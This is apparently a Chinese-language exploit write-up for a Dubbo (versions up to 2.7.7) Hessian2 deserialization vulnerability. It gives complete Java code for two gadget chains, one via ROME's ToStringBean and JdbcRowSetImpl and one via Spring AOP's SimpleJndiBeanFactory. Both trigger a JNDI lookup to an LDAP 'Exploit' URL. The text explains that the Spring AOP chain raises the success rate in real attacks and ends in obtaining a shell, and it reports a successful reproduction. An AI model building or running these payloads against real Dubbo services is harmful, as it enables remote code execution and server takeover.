影响范围

Dubbor <= 2.7.7

为啥可以打到2.7.7而不是官方通告的2.7.6?回答如下:

dubbo协议下的event事件

rome Gadget分析

首先给出Gadget代码:

//最后触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://127.0.0.1:1088/Exploit";
//EqualsBean.beanHashCode调用ToStringBean.toString
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Class<BaseRowSet> baseRowSetClazz = BaseRowSet.class;
Field listenersField = baseRowSetClazz.getDeclaredField("listeners");
listenersField.setAccessible(true);
listenersField.set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class,rs);
//HashMap.hash调用EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class,item);
//触发HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap();
Class<? extends HashMap> clazz = s.getClass();
Field sizeField = clazz.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(s,2);
Class nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Field tableField = clazz.getDeclaredField("table");
tableField.setAccessible(true);
tableField.set(s,tbl);
return s;

这个CVE依赖于靶机的 rome 依赖环境,需要使用这个依赖来作为Gadget。下面贴出完整的rome Gadget调用栈:

这里主要是 com.rometools.rome.feed.impl.ToStringBeantoString() 方法存在危险的操作,如下所示:

当调用到 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData() 时,最终会触发JNDI注入。如下是 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData() 的代码:

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
    Connection var1 = this.connect();
    return var1.getMetaData();
}

跟进 this.connect() ,如下所示,发现JNDI注入点:

但是此Gadget需要如下依赖:

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

实际上,生产环境中使用此依赖的情况比较少,所以此Gadget比较鸡肋。

Dobbo Invoke解析流程分析

前面已经说过,Dubbo支持Invoke和Event两种方式的请求。这个CVE是使用的Invoke(即调用Provider的method)方式进行请求的。直接贴出如下调用栈:

如上图调用栈所示,红框标注的就是基于 Dubbo 协议使用 Hessian2 的反序列化方式反序列化一个Object的过程,它是通过一个自定义的 Hessian2ObjectInput 来解析的Object。

通过读取 Dubbo 协议中的 序列化标志位 来判断通过使用哪个反序列化器来进行反序列化,这个CVE使用的是 Hessian2ObjectInput 。我们Gadget中序列化的是一个HashMap对象,所以最终 Hessian2ObjectInput 使用的是一个 MapDeserializer 来进行反序列化。最终在 MapDeserializer#doReadMap() 中调用了 HashMap#put() 从而触发Gadget。

如下是Dubbo协议的报文格式:

SpringAop Gadget

前面分析过的 rome Gadget 实际上攻击面并不广,但是Dubbo默认间接引用了 SpringAOP ,我们实际攻击时,使用 SpringAOP Gadget 可以大大提高命中率。

以下是 SpringAOP Gadget 的代码:

String jndiUrl="ldap://127.0.0.1:1088/Exploit";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Field loggerField = JndiAccessor.class.getDeclaredField("logger");
loggerField.setAccessible(true);
loggerField.set(bf,new NoOpLog());
JndiTemplate jndiTemplate = bf.getJndiTemplate();
Class<? extends JndiTemplate> jndiTemplateClazz = jndiTemplate.getClass();
Field jndiTemplateClazzLoggerField = jndiTemplateClazz.getDeclaredField("logger");
jndiTemplateClazzLoggerField.setAccessible(true);
jndiTemplateClazzLoggerField.set(jndiTemplate,new NoOpLog());
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();

DefaultBeanFactoryPointcutAdvisor pcadv2 = new DefaultBeanFactoryPointcutAdvisor();
pcadv2.setBeanFactory(bf);
pcadv2.setAdviceBeanName(jndiUrl);

HashMap<Object, Object> s = new HashMap();
Class<? extends HashMap> hashMapClazz = s.getClass();
Field sizeField = hashMapClazz.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(s,2);
Class nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
Array.set(tbl, 1, nodeCons.newInstance(0, pcadv2, pcadv2, null));
Field tableField = hashMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
tableField.set(s,tbl);
return s;

调用栈如下所示:

Maven依赖如下:

<!--加入Spring-aop框架-->
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-aop</artifactId>
  <version>5.3.5</version>
</dependency>

主要是利用 HashMap#put() 触发 AbstractPointcutAdvisor#equals() ,此方法内会调用 AbstractBeanFactoryPointcutAdvisor#getAdvice() ,如下所示:

很明显,在 AbstractBeanFactoryPointcutAdvisor#getAdvice() 内可以利用 SimpleJndiBeanFactory 进行JNDI注入,最终GetShell。

漏洞复现

使用Invoke方式下的SpringAOP Gadget攻击成功:

参考文章

感谢

感谢 threedr3am 师傅分享EXP和Dubbo协议发包框架。